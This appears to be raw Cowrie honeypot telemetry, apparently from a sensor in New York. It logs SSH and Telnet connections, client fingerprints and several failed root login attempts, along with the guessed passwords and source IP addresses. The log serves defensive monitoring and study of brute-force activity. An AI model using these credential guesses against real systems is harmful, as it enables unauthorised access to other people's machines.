{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:45.179379Z","src_ip":"62.133.62.83","session":"05df24529523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123450","message":"login attempt [root/123450] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:45.417734Z","src_ip":"62.133.62.83","session":"05df24529523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:46.499248Z","src_ip":"62.133.62.83","session":"05df24529523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37336,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd249cd35420","protocol":"telnet","message":"New connection: 152.42.224.71:37336 (10.17.0.5:23) [session: bd249cd35420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:46.533404Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37350,"dst_ip":"10.17.0.5","dst_port":23,"session":"1381c7cd2c91","protocol":"telnet","message":"New connection: 152.42.224.71:37350 (10.17.0.5:23) [session: 1381c7cd2c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:48.147650Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37366,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8e9267dc60","protocol":"telnet","message":"New connection: 152.42.224.71:37366 (10.17.0.5:23) [session: cc8e9267dc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:48.872480Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"971610c331e2","protocol":"telnet","message":"New connection: 152.42.224.71:37378 (10.17.0.5:23) [session: 971610c331e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:51.388345Z"}
{"eventid":"cowrie.session.closed","duration":49.99707078933716,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:53.216428Z","src_ip":"152.42.224.71","session":"2cccb79d67fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.9829306602478,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:53.523205Z","src_ip":"152.42.224.71","session":"722e5acb4273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.89417219161987,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:53.685377Z","src_ip":"152.42.224.71","session":"8e4ec96912a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.562973976135254,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:53.721604Z","src_ip":"152.42.224.71","session":"14c05b38310b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37402,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0435c57b6d","protocol":"telnet","message":"New connection: 152.42.224.71:37402 (10.17.0.5:23) [session: bc0435c57b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:54.383235Z"}
{"eventid":"cowrie.session.closed","duration":120.00109791755676,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:54.403466Z","src_ip":"152.42.224.71","session":"a932247a5388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43958,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffd7099fdc9","protocol":"telnet","message":"New connection: 209.127.178.212:43958 (159.203.135.109:23) [session: 2ffd7099fdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:54.655146Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37392,"dst_ip":"10.17.0.5","dst_port":23,"session":"6054650e746e","protocol":"telnet","message":"New connection: 152.42.224.71:37392 (10.17.0.5:23) [session: 6054650e746e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:54.930818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e50a08de57","protocol":"telnet","message":"New connection: 152.42.224.71:38800 (10.17.0.5:23) [session: 38e50a08de57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:55.918339Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37418,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa614b05ace","protocol":"telnet","message":"New connection: 152.42.224.71:37418 (10.17.0.5:23) [session: dfa614b05ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:56.586102Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b78d08a2b46","protocol":"telnet","message":"New connection: 152.42.224.71:38812 (10.17.0.5:23) [session: 1b78d08a2b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:57.791378Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":36668,"dst_ip":"159.203.135.109","dst_port":22,"session":"340ff0b5af10","protocol":"ssh","message":"New connection: 94.230.136.33:36668 (159.203.135.109:22) [session: 340ff0b5af10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:57.962922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:57.967895Z","src_ip":"94.230.136.33","session":"340ff0b5af10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:58.116497Z","src_ip":"94.230.136.33","session":"340ff0b5af10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":39936,"dst_ip":"159.203.135.109","dst_port":22,"session":"9db741b62cc1","protocol":"ssh","message":"New connection: 43.134.228.151:39936 (159.203.135.109:22) [session: 9db741b62cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:58.609365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:58.614061Z","src_ip":"43.134.228.151","session":"9db741b62cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:58.737374Z","src_ip":"94.230.136.33","session":"340ff0b5af10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:58.852538Z","src_ip":"43.134.228.151","session":"9db741b62cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"774411","message":"login attempt [root/774411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:59.835279Z","src_ip":"43.134.228.151","session":"9db741b62cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:10:59.888492Z","src_ip":"94.230.136.33","session":"340ff0b5af10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:01.078191Z","src_ip":"43.134.228.151","session":"9db741b62cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.44178318977356,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:01.359970Z","src_ip":"152.42.224.71","session":"38e50a08de57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.03421068191528,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:01.399330Z","src_ip":"152.42.224.71","session":"f4512f4650d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":42217,"dst_ip":"159.203.135.109","dst_port":22,"session":"89696cd6e92e","protocol":"ssh","message":"New connection: 182.217.16.126:42217 (159.203.135.109:22) [session: 89696cd6e92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:01.813595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:01.819380Z","src_ip":"182.217.16.126","session":"89696cd6e92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:02.018797Z","src_ip":"182.217.16.126","session":"89696cd6e92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001797914505,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:02.513926Z","src_ip":"152.42.224.71","session":"c0e5ad4ef553","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:02.848262Z","src_ip":"182.217.16.126","session":"89696cd6e92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":34528,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d6495d0a7f","protocol":"ssh","message":"New connection: 43.153.54.120:34528 (159.203.135.109:22) [session: 77d6495d0a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:03.485467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:03.490744Z","src_ip":"43.153.54.120","session":"77d6495d0a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:03.560988Z","src_ip":"43.153.54.120","session":"77d6495d0a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:03.861169Z","src_ip":"43.153.54.120","session":"77d6495d0a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:04.056337Z","src_ip":"182.217.16.126","session":"89696cd6e92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38818,"dst_ip":"10.17.0.5","dst_port":23,"session":"04407446e514","protocol":"telnet","message":"New connection: 152.42.224.71:38818 (10.17.0.5:23) [session: 04407446e514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:04.925393Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:04.932746Z","src_ip":"43.153.54.120","session":"77d6495d0a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38828,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a5311b6c29","protocol":"telnet","message":"New connection: 152.42.224.71:38828 (10.17.0.5:23) [session: c5a5311b6c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:05.366335Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":58336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce45253f5c46","protocol":"ssh","message":"New connection: 103.183.114.55:58336 (10.17.0.5:22) [session: ce45253f5c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:09.596426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:09.601584Z","src_ip":"103.183.114.55","session":"ce45253f5c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:09.826758Z","src_ip":"103.183.114.55","session":"ce45253f5c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.057148218154907,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:10.289890Z","src_ip":"152.42.224.71","session":"24284df133d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastenka","message":"login attempt [root/nastenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:10.503555Z","src_ip":"103.183.114.55","session":"ce45253f5c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.502817630767822,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:11.329154Z","src_ip":"152.42.224.71","session":"6ea3dce77831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:11.734771Z","src_ip":"103.183.114.55","session":"ce45253f5c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"3577391f5347","protocol":"telnet","message":"New connection: 152.42.224.71:58684 (10.17.0.5:23) [session: 3577391f5347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:15.209794Z"}
{"eventid":"cowrie.session.closed","duration":120.00893568992615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:22.601609Z","src_ip":"152.42.224.71","session":"77911c553e57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.980060577392578,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:22.910745Z","src_ip":"152.42.224.71","session":"6054650e746e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":47944,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa216b51e702","protocol":"ssh","message":"New connection: 43.156.227.3:47944 (159.203.135.109:22) [session: fa216b51e702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:11:23.955000Z"}
